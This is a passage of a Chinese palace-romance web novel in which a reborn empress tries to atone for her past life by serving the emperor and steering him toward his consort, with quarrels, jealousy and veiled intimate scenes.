诶?郁稚回想了一下,她上一世确实是这样,她厌恶着铠甲的皇帝,他总是粗鲁、凶悍。 少女这一恍惚,男人的神情愈加凛冽。 “臣妾只喜欢看陛下着素纱衣袍,臣妾只喜欢陛下一人,其他男子哪怕脱光衣裳在臣妾面前,臣妾都不会瞧一眼,真的陛下!臣妾发誓!”少女三指朝天要发誓。 正在备早膳的小宫女们面面相觑,帝后夫妻,竟与寻常夫妻没什么两样,这么俗的情话,皇后也说得出口?皇帝如此英明神武,怎么会相信这种鬼话? 男人心底咬牙切齿,又不知该如何训斥,总不能说她上一世那样荒、淫吧? “过来用早膳!” “好好好,臣妾伺候陛下用膳!” *** 郁稚殷勤备至,今日去御书房读书,替皇帝扇了一个时辰的风,直到皇帝恼火问她,“你老毛病又犯了?以为这样今日就不必读书了?” “不是的!臣妾就是想给陛下扇风而已!”郁稚气鼓鼓地争辩,“陛下怎么能这么想臣妾呢?” 而后皇帝又忙了许久的政务,直至眼眸发酸,他仰靠在御座。 郁稚好心要帮忙,虽然不识字,但她处理政务还是可以的,上一世朝堂不也被她管理得很好么?后期哪个臣子敢不听话? “要不陛下去内室休息休息?” 萧歧也正有此意,近日他肝火太旺,再翻阅几本奏疏,恐怕更生气了。上一世的郁后也不容易,要管着这帮庸臣!! 岂料他刚起身,就听郁稚道,“臣妾如今也识字了,臣妾帮陛下批阅奏疏吧!”她的语气轻快又讨好,真翻开一本奏疏。 萧歧的眼神顿时就杀过来了,“皇后要干政?!” 诶?郁稚没想到这一层,“臣妾只是想为陛下解忧” 于是她又被按了回去,皇帝怒斥:“好好抄你的书!”这一世她休想碰朝政一下! 诶郁稚心道,要是萧歧上一世有这么重的疑心,最后也不会落得那个下场。 “陛下头疼么?臣妾替陛下按一按。”郁稚想方设法叫皇帝更舒适些。 于是她起身来到御座后头,伸手替他按头上穴位。萧歧没有拒绝,乐得享受。 午膳过后,两人去椅榻上休息,郁稚让皇帝轻轻枕在自己腿上,夏日瓜果丰盛,御茶膳房将葡萄剥皮,西瓜切块,郁稚时不时地用竹签挑一块送到皇帝口中。 门窗虚虚地掩着,外面日头大,她用罗扇替他扇风解暑,两人都有倦意。 虽不及纣王的酒池肉林,但皇帝觉得也相差无几。那又何妨,辛苦了两世,这片刻的欢愉还是可以有的。 “既然字大多都认得了,偶尔也帮着贵妃管理宫务。” 郁稚:“若是管了宫务,臣妾就不能好好伺候陛下了。” 萧歧闭着眼眸,浑身舒畅,“怎么忽变得如此贴心乖巧了?” 郁稚抿了抿唇,既然没法说出口,那就默默赎罪,一直到赎完最再离开。李檀要权力,那自己这一世绝对不会与她争。 郁稚:“臣妾身为皇后,享受富贵荣华,自然要回报陛下,从此往后陛下的衣食住行都由臣妾打点,臣妾只想陛下舒适快活,只要陛下快活,臣妾什么都愿意做。” 皇帝缓缓睁开眼眸,她侧身坐着,手里罗扇轻摇,藕粉色素纱长裙衬得她肌肤雪白凝脂,酥、匈半掩,美轮美奂。 “只要朕快活,你就什么都愿意做?”午后的声音如耳语般温柔虚幻。 郁稚点点头。 这一句话不知怎么就惹了他。 “那皇后躬些身子。” 她听话。男人微微启唇。 这一世初见她时不过是个纤柔的少女,不知不觉间也有一年了,虽然依旧愚笨不及郁后,但身形却有了几分妖娆,不再是完全青涩清纯模样。 郁稚捏紧了扇柄,男人齿尖轻磨。 这是在白日的御书房,还是在外间,不远处便是御案,若换做从前她早就推开他了。 皇帝得寸进尺地欺负人,想看她的底线究竟在何处。 “可以么皇后?”他眼神如饕餮如饿狼。 “陛下辛劳,还是躺下午憩,臣妾替陛下扇风、” “方才不是还说只要朕快活,要你做什么都可以?”他揪住这句话不放,眼神直勾勾地望着她,不许她避开。 其实上一世两人聚少离多,鲜少亲近。不知这一世他怎么了?或许正如话本子里那句,年少不可得之物,终究困其一生? “皇后这就要食言么?” 郁稚被他看得心脏怦怦直跳,眼神无法逃离,只能低语道,“可以的,若能为陛下解乏,臣妾什么都愿意” 她这样予取予求,只会叫萧歧心气更盛,更欺负她! 郁稚又道,“陛下正值盛年,应该广开后宫,繁育皇嗣。臣妾想看着陛下儿女绕膝,子孙满堂。” 皇帝:“皇后这是问朕要皇嗣?好巩固你的地位?” 郁稚立即否认!“臣妾的意思是陛下身为君王,却还没有一个子嗣,理应考虑储君之位。其实贵妃就很好,她温婉恭敬,能力卓越,陛下该常去她宫中坐坐” 萧歧不明白,她究竟是何盘算! “倘若贵妃诞下皇子,还有你这个皇后容身之处么?”皇帝嘲讽道,“那群臣子必定日日上疏要朕废了你!!你不害怕?!” 郁稚:“废后便废后,臣妾不害怕。只是现在陛下整夜夜宿于未央宫,臣妾身子孱弱、” 萧歧坐起身,目光汹涌的望着她,“谁同你说的,朕夜夜宿于未央宫?!” 诶?没有么 “你禁足那十日,朕就没有宿在未央宫!” 郁稚:“臣妾禁足,陛下当然不会宿未央宫,可其他时候陛下都、” 萧歧气恼:“朕也会宠幸其他妃嫔,难道都要告诉你么?郁稚,你未免也自视甚高,你以为朕独宠你一人么?!” 郁稚:“臣妾万万不敢这么想,臣妾只是说陛下也该、” 哎呀,她都不知该怎么说。总之,他不要重蹈覆辙了! 萧歧:“朕宠幸你不过是因为你长得像那个人罢了。”他当然不会承认自己夜夜流连她的凤榻! 诶? 郁稚心里嘀咕,那个人不还是她么?上一世的郁后。 皇帝口不择言地伤人,“朕与她夫妻情深,至于你不过是她的替身!别以为朕有多喜爱你,不过是因为你年轻貌美罢了!” 少女目光愣愣的,仰着头听他说。 萧歧:“若你生得不像她,朕才不会来未央宫,哪怕一回!!” 郁稚:“”请问,她要怎么做,才能生得不像她自己。 萧歧:“你别急着把朕赶去其他妃嫔宫里,待你年老色衰,你看着还来不来未央宫!” 郁稚尴尬地挠了挠头发,“陛下,你与那人伉俪情深?她不是还弑夫杀君么?” 没想到皇帝这么纯情,上一世她都那样了,这一世他居然还守身如玉,该死,这样更显得她不是个东西了!! 男人目光倨傲,“弑夫杀君是真的,伉俪情深弑也是真的,她比你聪慧千倍万倍,你不过一副皮囊罢了,朕对你可没什么夫妻之情!” 如此伤人的话说出口,少女没有哭,反而时呆呆坐在椅榻上,目光清澈地望着他。 郁稚:“可以再多说一些关于那人的事么?臣妾想听听,自己与她究竟有何差距,臣妾会努力弥补的!” 皇帝似乎夸了上一世的自己?不确定,再听听。 第53章 第 53 章 郁后?!! 眼前这个不受教的少女, 怎能与上一世的郁后相比拟?! 皇帝从椅榻上靠坐起身,“她身为女子,虽不识字,但政治手段极高, 莫说是后宫妃嫔, 哪怕是朝堂众臣最后也尽臣服于她, 不敢造次。” 郁稚险些脸红, 上一世他会教她如何御下,她又满腔仇恨, 自然学会如何牢牢把控权力。 “再看看你, 连宫务都不会处理。”男人眼神鄙弃,“功课需得教多遍才会。” “她再好,最后不也起了弑君的念头?”少女乌黑眼瞳转悠,“陛下与她不至于伉俪情深吧?” “她本性不坏,不过是听信谗言,被人教坏了!”萧歧道, “朕与她夫妻多年,还是有几分情意在的。” “尤其是与你相比!”皇帝补了一句。 看来皇帝也不是那么恨她郁稚一冲动, 想着干脆坦白算了, “其实” “但若再相见, 朕必将她粉身碎骨!” 郁稚话道唇边, 就听皇帝幽幽道了这一句。于是她立即把话吞了回去!! “其实什么?”萧歧问。 郁稚跪坐在椅榻上,酷暑的天脊背直发凉,她硬挤出个笑容,“其实吧,往事随风,陛下不要再惦念那个女子了这种女子坏得透顶, 五马分尸,死不足惜!” “你没有资格诋毁她?!” 郁稚:“”行行行,不说了。 上一世皇帝对她的情感还真复杂。 接着一段时日,郁稚体贴入微地侍候皇帝,她会打听他的喜好,命人备他爱吃的膳食,有时甚至学着亲自下厨,每日清晨会替他穿戴,还会挑选衬他的衣料命绣房制成衣袍。 这样的酷暑,午间小憩,皇帝喜欢躺在她腿上,她会用罗扇替他扇风,夜间也会任由他胡作非为,他们与寻常夫妻无异。 两人心照不宣,皆享受这样悠然的时光。 这日午间,皇帝枕在她腿上入眠了,郁稚取来软枕给他垫着,起身去换茶盏,等皇帝醒来就能饮热茶。 她端着茶盏跨出御书房,见李檀在外等候。 太监禀告说,“贵妃已在殿外等候半个时辰。” 原来李檀这几日病着,稍稍痊愈就来御书房禀告宫务,却不知皇帝这几日有了午憩的习惯。 李檀在虚掩的窗户外头都瞧见了,皇帝枕在皇后腿上,两人那样亲密! 李檀:“参见皇后。” 郁稚:“这样酷暑的天,贵妃进去侯着吧。” 说完她端着茶盏离开,李檀对皇帝是真心的,自己与她相比,只会给皇帝惹祸!所以这一世,他们二人才应该做夫妻。 御书房里置着冰,比廊下凉快,李檀有些中暑头脑昏沉。男人颀长的身躯躺在衣榻上,闭着眼眸,身着藕粉色素纱长袍,那样俊美非凡。 “怎么不扇风了?”萧歧闭着眼眸问道。 李檀抱着一叠文书,心间不住地颤抖。 “过来,扇风。” 李檀缓缓走过去,捏着裙侧坐到榻上,下一瞬皇帝强势地枕到她腿上。 她紧张屏息,取过罗扇轻轻扇动,男人的眉宇都舒展开来。 李檀从未见过萧歧这一面,如此闲适,方才那句话的语气,有几分恋人之间的撒娇胡闹。 她不确定,皇帝是将她当做了妖后还是就知道是她。 萧歧生得真好看,鼻梁高挺,剑眉星目。 等郁稚亲自换端了热茶回来,太监神情怪异地禀告,“贵妃娘娘她” 隔着一道殿门,李檀代替了她的位置,正替皇帝扇风,皇帝将头轻轻枕在她腿上,二人亲密无间。 本该就是这样,李檀两世都忠心耿耿,这一世本该就得偿所愿,反而是她这个作恶多端的皇后碍事了。 郁稚没有踏入御书房,她将茶盏交给太监,自己回未央宫 萧歧午憩醒来,还不肯睁眸,抬手握住了摇扇的手。皇后一双手雪白凝脂,他抓过来贴在鬓边,只是今日这感觉浑然不同。 她不是皇后! 男人猛然坐起身,目光汹涌,李檀惊得立即跪到地上,“陛下” 萧歧凭着记忆,想起来是他吩咐她来扇风,所以进殿的那人不是皇后,而是贵妃,皇后去了何处? 男人稳定心神,“贵妃平身,听闻你病了几日,身子可好些了?” 李檀心中微微舒展,看来皇帝确实是吩咐她扇风,否则他此时早怪罪下来了。 “多谢陛下关爱,臣妾已经痊愈了。” *** 郁稚回未央宫练了一下午的字,皇帝尽心教她,她也下定决心好好读书写字。 未时刚过,她正琢磨着叫小厨房做什么菜呢,皇帝就过来了。 郁稚:“陛下今日不忙?怎么早早来了未央宫?” 萧歧瞧见她在练字,眼神扫了扫,神情不悦,“好好的伺候朕午憩,怎么走了?” 萧歧:“可是你故意躲懒?” 郁稚:“”她不知该如何回答,小心翼翼道,“臣妾去换茶盏,回来听闻贵妃在御书房里禀告宫务,臣妾听到宫务就头疼,所以就回了未央宫。” “朕在午憩,怎么会传贵妃进御书房呢?”萧歧不依不饶,“贵妃进殿替朕扇风,朕险些将她当作是你!” 郁稚抿了抿唇,眼神直勾勾看向他,不卑不亢道,“李檀是贵妃,进殿伺候陛下午憩有何不妥?” “你、你果然知晓!方才还给朕装傻?!” “同在后宫,怎么偏要臣妾伺候,贵妃就金贵伺候不得么?” “朕是这个意思么?!”萧歧恼火,立在她身前质问。 郁稚:“臣妾不明白陛下什么意思,不过是午憩罢了,这样的小事都大做文章?” 倒成了他大做文章?萧歧气息不稳,神情凛冽肃然似要发火,这样子若是刚进宫的小宫女瞧见了,必定要吓死了。 萧歧收敛心气,话锋一转,“皇后说得对,朕不应该小题大做。朕午膳用得少,快命你的小厨房备晚膳,朕要食鲥鱼!” 郁稚:“!!”莫名其妙!! 但她仍仔细吩咐御厨准备晚膳,十三道菜尽是皇帝喜欢的,鲥鱼做得鲜美,郁稚将剃了刺的鱼肉送到他唇边,“这鱼鲜美,陛下快尝尝吧。” 皇帝俨然一副叫她伺候用膳的架势,看得未央宫小宫女们直替皇后委屈。 皇帝目光倨傲,扫了眼她送上的鱼肉,“还有刺。” 哪有刺?郁稚又仔细翻找,“陛下没有刺了,快趁热吃吧。” 萧歧这才赏脸吃鱼肉,咀嚼了几口道,“皇后这小厨房的御厨尽早换了吧,这鱼肉很腥!” 郁稚:“那吃别的吧。” 皇帝今日真是一身反骨,变着法地刁难人,以前刁难她都是禁足、抄书,今日是闹别扭刁难人,说出去简直叫人笑死!幼稚!也不怕丢人?! 皇帝:“这么大条鱼若不吃就浪费了。” 一边嫌腥一边还要吃鱼肉,郁稚只能自认倒霉给他挑鱼刺,不气不气,就当上辈子欠了他的!! 皇帝斜睨她一眼,少女气鼓鼓的,这逆来顺受的模样,两世都不曾有过,他挑了挑眉,解了几分气。 但仍是怄气,一会儿嫌弃牛肉炖老了,一会嫌排蹄筋不够软烂。 郁稚给他夹菜,手都酸了,依旧温柔道,“好了陛下,菜都快凉了,你就多吃就几口吧。” 萧歧这才不再作妖。 夜里她伺候完皇帝沐浴。自己沐浴时才得以放松身心,于是郁稚闭起眼眸,静静靠坐在池壁上,这一世她应该撮合李檀与萧歧二人,嗯,应该是这样。 皇帝靠坐凤榻,浑身燥热,心里头窝着一团火。他来未央宫问她话,好似拳拳打在棉花上,不痛不痒,她看似卑微讨好,实则、 足足一个时辰,她才从浴殿过来,萧歧的耐心都被磨光了!粗鲁地将人往榻上拽。 “朕问你,你见到李檀替朕扇风了?”萧歧不再拐弯抹角。 郁稚点了点头。 “你当时怎么想?” “什么怎么想?” 男人目光汹涌,她只想避开。 “皇后可吃醋了?” 郁稚摇头,“臣妾身为皇后,怎么能吃贵妃的醋,臣妾没有。” 好,很好!男人笑了,“皇后很贤良!”虽是在夸她,但这眼神这语气都更凛冽几分! “这段时日皇后伺候得实在是好,没想到你治理后宫不行,功课也不行,伺候人这样妥帖周到,朕的衣食住行倒是样样离不开你了!往后朕午憩,皇后都要在旁伺候,别人都不行!” 郁稚不知他为何疯魔成这样!不过是一件微不足道的小事!怎么就惹到他了! 男人剥了他自己的寝衣,露出精悍的胸膛,双膝跪在席榻之上,就在她面前 自从恢复记忆之后,在凤榻之间,郁稚都是无底线地纵着他,只是今夜怎么没完没?! 这都什么时辰了?凤榻间少女面色绯红、 实在受不住了,她轻斥一声,“萧歧!你适可而止!” 伴随着上一世的记忆,她很顺手地给了他一巴掌。声音响亮清脆,用的是白日里给皇帝扇风的那软绵右掌。 男人顿时就僵住了,双眸猩红,不可置信地看着凤榻间绝美的皇后,仿佛有什么记忆被唤醒了!上一世!上一世!也是这般!如出一辙!!! “郁后?!!” 第54章 第 54 章 朕觉得她回来了! 萧歧挨了这一巴掌, 动作利落地抽过榻边的玉带来捆她手腕,这是他上一世惯用的招数,郁稚张口狠狠咬在他手腕,见招拆招, 皇帝再度惊奇地看向她, 郁稚趁机扼住他咽喉, 夺走玉带扔远了。 她没了理智, 顺势又补了一巴掌! “唔!”下一瞬她就被掀翻,跌下了榻。 萧歧!!她要杀了他!!郁稚又冲上去!! “郁稚!!”未央宫里传来皇帝一声咆哮! 翌日的餐桌上, 郁稚蔫蔫的, 皇帝也没好到哪里去,他额角被她用玉枕砸了个印子。 郁稚懊悔了,她发誓这一世要对他好要赎罪,昨夜实在是没忍住,因着从前的经验,打他巴掌打得太顺手 打着打着她就累了, 睡着了。 早膳已经摆上桌了,萧歧脸色肃静, 若有所思, 他也不动筷子, 如前几日一般等着郁稚伺候他, 郁稚亲自舀了碗粥递到皇帝面前。 “陛下,是臣妾以下犯上,陛下若生气就罚臣妾,禁足什么的都成。”郁稚盯着皇帝额角的印子,毕竟是要上朝之人,若是被臣子们瞧见了, 有失君王颜面。 岂料萧歧接过粥碗,淡淡说了一声,“无妨。” 郁稚缩了缩脖子,他什么意思?难道他还挺怀念上一世两人在榻上打架?不可能呐。 “臣妾向陛下保证,臣妾一定改正,往后绝不会这样了。” “不改也行。”萧歧道,目光落在自己手心虎口处,她的两排牙印依旧很明显,也不知皇帝在思考什么。 郁稚简直要疯,上一世的她也是够彪悍的。 “陛下手不方便,臣妾伺候陛下用膳。” 萧歧也没拒绝,将粥碗递给她道,“皇后很尽心,以后都要这样伺候。” “臣妾遵命!”她肯定尽心! 郁稚:“臣妾昨日新学了一道菜,晌午亲手做了,送到御书房可好?” 她亲手做饭,一是为了对皇帝好,二是改改自己的名声,好叫天下人知道,她这个皇后还是很贤惠的,毕竟上一世的名声不大好听。 “皇后有心了。” 郁稚总觉得,皇帝今日的态度怪怪的。 *** 郁稚新学的菜只是简单的鲫鱼炖豆腐,萧歧在边疆多年,喜欢简单烹饪的新鲜牛羊鱼虾,宫里头御厨那些花里胡哨的菜式他反而大不喜欢。 切入青葱后,白色鱼汤鲜美可口,郁稚提着食盒去御书房。 恰逢李檀来禀告宫务,她病初愈,瞧着精神头不大好,可为见皇帝还是坚持来了。 宫女小喜道,“这几日陛下的衣食住行,都是皇后打点,事无巨细,陛下似乎很高兴。之前陛下每日膳食、衣裳都是娘娘上心,好几次还亲手煮汤羹,可惜这些陛下统统都不知道。现在皇后偶尔关心一两回,宫里宫外头就夸赞皇后贤惠,那前头娘娘的功劳就被抹杀了。皇后越发霸道了,整日霸占皇上!” 李檀:“罢了,别抱怨了,向陛下禀告宫务要紧。” 小喜:“这会儿陛下说不定在用膳,贵妃娘娘可别又在外头站半个时辰。” 郁稚见她们主仆二人进了御书房院门,再瞧瞧自己手里的鱼羹。忽然间福至心灵,原来她对皇帝越好,反而于李檀越不利。既然有心撮合他们二人,自己就应该停止对皇帝好? 御书房偏殿正在备午膳,郁稚等李檀禀告完宫务再进殿。 皇帝瞧见她两手空空,“不是说要亲手做一道新菜式么?” “臣妾愚笨,菜没做好”郁稚悻悻然道,“外头暑气正厉害,不如贵妃留下一道用午膳如何?” 李檀已经行到殿门口,听到这话微微一愣,眼神有些期待地望着皇帝。 说起来,他们三人从未一道用膳,郁稚立即命宫人在取一副碗筷。 午时日头当空,李檀此时回去确实受不住,但她完全不感激皇后,心想皇后这是打的什么算盘? 这几日两人用膳,皇帝就心安理得等着郁稚伺候,但三人用膳,只能各用各的。李檀鲜少能有这样的机会,替皇帝夹了几次菜,皇帝也和颜悦色地用了。 往郁稚那瞥了几眼,郁稚权当没瞧见,只夹自己爱吃的那几样。 她不能再对皇帝好了,这就如同饮鸩止渴,她所认为的好,其实于他没有太大的益处。 他这一世要当一位明君,不能重蹈覆辙,他需要一位贤能的皇后,李檀就很好。而她也不想再困囿于宫廷,上一世权势富贵皆拥有了,最后落得那样凄惨下场,这一世她要离开皇宫。 李檀真的很欢喜,细嚼慢咽,陪着皇帝用了很久的午膳,明明那样滴水不漏之人,郁稚还是偶尔瞧见李檀眼神里流露的对皇帝的情意。 自己真是个碍事的人,两世皆是。 下午她被皇帝留下来练字。 萧歧:“皇后打的什么算盘?你不是从来与李檀不合,怎么今日要留她用膳。” 郁稚笑笑道,“臣妾心口如一,午时日头太晒,贵妃病着,怎么能叫她回去,若是中了暑气就不好了。” 皇帝淡淡道,“皇后还会怜香惜玉。” 说完伸手去取茶盏,发现茶已经凉了,即使是夏日,皇帝也只喜欢喝热茶,这几日郁稚都会按时替他换茶盏,所以连外头伺候的宫人都懈怠了。但她今日没给他换。 皇帝没在意,没多久宫人就来换了,他侧眸瞧瞧身边之人,郁稚正聚精会神地写字。 “朕乏了。”萧歧起身去椅榻上休息。 郁稚权当做没瞧见,“陛下躺会儿吧,臣妾倒是挺精神的,今日要练好多字呢。” 这午憩的习惯还是因她而养成的,皇帝喜欢枕在她膝上,感受着她手中罗扇的阵阵微风,夹杂她袖中独有的茉莉香气。 这会儿她不过来,他靠坐椅榻上,怎么靠怎么不舒服。 “郁稚,你过来。”皇帝轻唤了声。 “臣妾忙着呢。” 皇帝强势地攥她手腕拉到椅榻上。郁稚无法,这才取了罗扇替他解暑。 这就更印证了她的想法,她不能对他好,不能令他沉溺女色,这是一件需要矫正的事! 诶? 她正出神呢,仰面躺在她膝上的男人伸手轻拢住她的脖颈,使得她不自禁垂首,他轻轻印她唇上,蜻蜓点水,这在燥热的午间令人心乱如麻。 她这么近地望着他,男人俊美得让人心都束紧了。 “下次不要邀请贵妃一道用膳,朕还是喜欢从前那样。”他声音温和似耳语,哪里还是上一世粗犷凶悍的嗜战君王。 他的眼眸深邃,墨眉如刀刻,郁稚忽得伸手用罗扇轻轻遮住他的脸。 可就是如此隔着一层薄薄的织罗,依旧可以见他英挺的鼻梁 他真的很好看,他也没有拿走罗扇,纵着她胡作非为。 郁稚是心动的,他们之间有过太多的争执,鲜少有这样的温存的时光,她又移走罗扇,他依旧枕在她腿上,俊美的脸近在咫尺,只要她稍稍躬身,就可以触到他的唇。 郁稚伸手抚去他额间汗珠,怎么有人连额头都这么好看,还有刀削般的下颚,喉结 她情不自禁俯身亲吻他,这个吻就犹如窗外的日头,燎原之势,两人皆情、动,男人宽大的手掌反扣住她在颈后,不许她再退 于是这个午后,他没能处理完政务,她也没有好好练字。 郁稚很后悔,他们就是彼此的灾星,上一世她害他还不够么?不能再重蹈覆辙了! 她的父亲鲁国公送她进宫的目的不就是这个,显然两世都很成功。 所以她更不能留在宫里,她要离开,离萧歧远远的,这一世不再害他! 萧歧这一整日心情都不比前几日好,午膳皇后没有伺候他,连菜都不夹,说好的亲自下厨,他也没尝到,茶盏也不换。 装了几日的贤惠妻子,这就装不下去了?到底太年轻! 夜里晚膳,皇帝看着满桌的菜,神情更不好,糖醋鱼、四喜丸子、醋溜虾十多道菜不是酸的就是甜的,竟没有一道合他胃口。 芍药在边上都觉得脊背发凉,“皇后已经用过了,这会儿出去消食,不知何时回来。” “她去哪里消食了?” 芍药:“听说是悠然宫。” 皇帝脸色更差了几分。 郁稚不止去了悠然宫,她还去其他后妃寝宫坐了坐,聊聊家常,上一世她不是个好皇后,没有尽照拂后宫之责,如今走一圈熟络熟络,有空还能一起办个赏花宴、品茗宴什么的,也挺好。 她回未央宫时将近子时,没想到皇帝没被气走,还命人重做了一桌晚膳,就等着她回来伺候用膳。 “夜里闷热,臣妾这会儿浑身汗,先去沐浴、”她三言两语就将皇帝撂下了。 萧歧有火没处撒,她这态度转变得太突然了。若说上一世她那样憎恶他也就罢了,尝过她前几日的温柔体特,知道她会疼人,这会儿究竟是什么意思?!! 郁稚沐浴过后就自顾自去榻上休息,皇帝瞧着她那道纤柔身影,可以确定她就是故意冷落他!!晚膳也不用了,掀开幕帘,径直走向内室。 “先别睡,你给朕起来!”他大刀阔斧地往榻边一坐! “陛下想说什么?臣妾困得很?” 男人对她有一肚子怒火,可她真要问起来,竟不知从何说起,两世都没有体会过的滋味,抓心挠肺的! “你什么意思?!” 少女撑坐起身,困惑地眨眨眼,“怎么?” 他身为皇帝,不至于到那个地步,问妖后讨要温柔!男人凶悍地捏了她手腕,将人提到自己面前,“你这么忽冷忽热地对朕是什么意思?!” 若是不想对人好,那么就不要开始! “朕明白了,皇后是故意装作对朕好,叫朕离不开你,而后再釜底抽薪,让朕明白你的重要?” 郁稚:“” 郁稚:“对,臣妾本就不是温柔体贴之人,对陛下好只是想挽回一下名声,现在发现装成那样太累了,不想装了。” “不想装了?那也没有必要一桌菜都不留一个朕爱吃的?!”男人气息跌宕,她就是那样的本性,其实他索要的也不是很多,对她这个妖后也没有那么高的期待! 忽冷忽热的是什么意思?! 男人笑了,“其实不必那么费事,皇后若想朕在意你,只需要再席榻间多费点心思,不需要端茶倒水、嘘寒问暖的!” 心里那团无名怒火熊熊燃烧,她这么可恶,两世都这么可恶! “陛下要做什么?!臣妾今夜没有心思!”郁稚气恼,他不可以沉溺女色,不可以重蹈覆辙! “皇后生气?那你打朕,昨夜又不是没有打过!”男人笑得冷戾,眉梢间隐隐可见兴奋、 他捏着少女软绵的手贴在侧颜,“上一世你也那样打过!” 郁稚又气又怕,她昨夜真的是因为被逼急了!她也知道上一世自己无数次在席榻间挣扎反抗,咬他打他,可她这一世不会再犯了。 “我、我不打,这是犯上!” “你一个杀父弑君的女人还怕犯上?!”萧歧笑意更明显了,捏紧她的手,要她如昨夜那般打他。 郁稚拼命缩回手,他这什么癖好?真的是被她打得发了疯? 萧歧:“郁稚,朕命令你打,如昨夜那般!!” 他绝对是疯了!! 男人汹涌目光近在咫尺,语气抑制不住兴奋,“因为昨夜的两巴掌,让朕觉得她回来了!” 只要她敢动手,他就可以肆无忌惮地掠夺她! 少女愕然,他说昨夜她打他,让他觉得 为了惹怒她,男人无所不用其极,狠狠欺负人,十七岁的少女哪里经得住这样,委屈极了。皇帝成功了,她真的想狠狠用齿尖噬咬他的肩胛!取过床头的花瓶砸向他!上一世又不是没有做过! 两人不弄到彼此遍体鳞伤都不算完!! 萧歧察觉她眼底的恨意,更使劲浑身解数激怒她,那样的仇恨,总好过今日她对他的无视与冷淡! 郁稚一直忍耐一直忍耐,直到她终于忍无可忍!翻身坐到他身上,张口狠狠咬住他的脖颈,恍若嗜血的女妖! 第55章 第 55 章 你把朕推向别人身边? 翌日清晨没有朝会, 皇帝依旧早起,不见郁稚起身替他穿衣。 “皇后,朕的衣袍呢?” 这段时日,郁稚命绣房替他制了许多常服, 每日晨起还会伺候皇帝穿戴, 她经常嘀咕说他穿什么颜色好看, 什么样式的衣袍衬他。 于是像这样清闲的早晨, 萧歧习惯她从衣柜里取出新衣裳。 皇帝俊美,如今常居皇宫, 少了几分战场戾气, 郁稚很喜欢装扮他。 可今日她不过懒懒赖在榻上,“陛下自己从衣柜里取一身衣裳罢了。” 皇帝不悦,“皇后,朕希望席榻间的斗气不要影响正事。” 昨夜闹成那样,如今他肩上还残留血色牙印郁稚气不过狠狠甩了他几巴掌,倒是把他打得更精神了。 这会儿皇帝云淡风轻, 似毫不在意昨夜她伤了龙体。 郁稚下榻从衣柜里随手取出衣裳,塞入皇帝怀中, 她前阵子伺候他日常起居伺候得太好, 这是她接下来要纠正的事。 她是他君王生涯之中的污点, 所以她与萧歧之间的纠缠, 这一世就该停止了。 “皇后不是说,朕着黑色衣袍显得太严肃么?” 诶?郁稚睡眼惺忪,睁开眼眸仔细瞧才发现取的是黑色衣袍。 萧歧手里捏着衣袍,神情已是不悦。 郁稚敷衍笑笑,“臣妾没睡醒,看差了。”于是她又去取了一件给他。 “皇后不是说灰色会显得朕太古板么?” 若说第一次是没睡醒看错了, 那错第二次,就是她刻意敷衍了! 郁稚这态度就好比成婚多年的妻子腻烦了丈夫。 郁稚心里倒是诧异,她那些随口嘀咕的话,皇帝竟然一字不差全记下来了?譬如她上次告诉他,他这张脸严肃刻板,就该多着明亮颜色,如此臣子也许会觉得他稍显平易近人 郁稚:“陛下从前可没有那么多讲究!”上一世征战在外,风餐露宿的,他可不是这样吹毛求疵! 萧歧从来都是大大咧咧不拘小节,“朕从前是不知道,但皇后都告诉朕了,朕自然会记下来。” 譬如发油这种东西,放在从前萧歧绝对不用,这几日她替他抹过几次,慢慢他也习惯了。她用的东西确实好。 郁稚:“陛下穿什么颜色都好看。” 男人蹙眉:“你在敷衍朕?” 郁稚:“”这一世的萧歧可太不好忽悠了。 清闲的早晨,尽数浪费在了争论衣裳颜色这等无聊小事上,最后郁稚亲自从衣柜里取出一身绣房新制的月白色长袍,再亲自替他换上,皇帝才罢休。 唉,男人啊,他不跟上一世似的,她随随便便就能从他手中分得权势。 两人用早膳,郁稚事先道,“臣妾累乏,今日可不伺候陛下用早膳。” 桌对面的男人神情明显不悦,郁稚权当没瞧见,再说他们昨夜闹场那样,她还生气呢。 “过来,朕伺候皇后用早膳。” 郁稚:“” 男人甩了甩袖子,亲自替她盛了一碗热粥。郁稚微微诧异,哦,想起来这一世他伺候她用膳的次数,远远比她伺候他多得多。这倒显得她忘恩负义了。 看着她嫣红的唇瓣吃他递上的一勺热粥,萧歧又体会到了久违的快乐。 “朕在边疆时养过几头小狼崽,朕也很喜欢亲自微食。” 少女腮帮子正鼓动咀嚼呢,听了这话一双美目不自觉地瞪他,皇帝瞧见也没恼,反而眉宇间多了一丝快意。 “我又不是小狼崽。”郁稚咽下粥后咕哝道。 “朕知道,皇后像幼猫。” 郁稚:“”她很想问他,上一世也觉得她像幼猫么? *** 今日皇帝不去御书房处理政务,他要去校场骑马射箭。 郁稚与宫女们在校场旁边瞧着,上一世因为皇帝常年在外,宫中的校场很冷清,眼下今非昔比,侍卫们也不拘着,各个都敢上场与皇帝比试。 皇帝着黑色骑服,郁稚看得心都化开了。此时萧歧在校场上驯马,他牵动缰绳英姿飒爽,挥洒汗水。 她收回那句话,他穿黑色可太养眼了! 郁稚再度感叹,自己上一世真是瞎了,竟会觉得与他欢好是一件痛苦的事。 萧歧偶尔看向她这处,郁稚虽然在廊下端坐着,但她这痴醉的眼神可一点儿没有收敛。 半个时辰不到,那匹烈马就被乖乖驯服了,皇帝从校场下来,径直走到廊下,四下除侍卫与宫女没有旁人,郁稚便用帕子替他擦拭额间的汗水。 入夏之后,萧歧皮肤晒黑几分,也更迷人了,他就立在她面前,乖乖任由她擦汗,郁稚忽觉得他与那匹被驯服的烈马一样。 “天热,回未央宫吧。”皇帝目光灼灼。 此时李檀过来了。 她每日都要去御书房禀告宫务,今日不见皇帝,问过太监才知道他在校场。 皇帝:“朕今日不处理政务,暑气这样重,贵妃也要保重身体,往后不必亲自来御书房。” 李檀微微一愣,她昨日才与皇帝一道用午膳,今日也是算准时辰去的,她还以为 “贵妃会骑马么?”郁稚忽然问她。 李檀:“臣妾不会臣妾学过,但没学好。”上一世帝后几次去行宫狩猎,听闻是皇帝教会皇后骑马,她只能自己学,摔了几次马都没学会。 郁稚:“不如陛下教贵妃骑马,等中秋过后,我们一道去行宫秋猎?就是不知贵妃今日想学么?” 萧歧眼神杀向郁稚,“此时天热,贵妃病着,你不要擅作主张、” “臣妾病已经痊愈了,臣妾不畏热!”李檀立即道,“就是不知陛下可愿意教臣妾骑马?” 郁稚:“陛下当然愿意!陛下是不是?” 男人额发汗湿,桀骜不驯,不像个君王,倒像个年轻的将军! 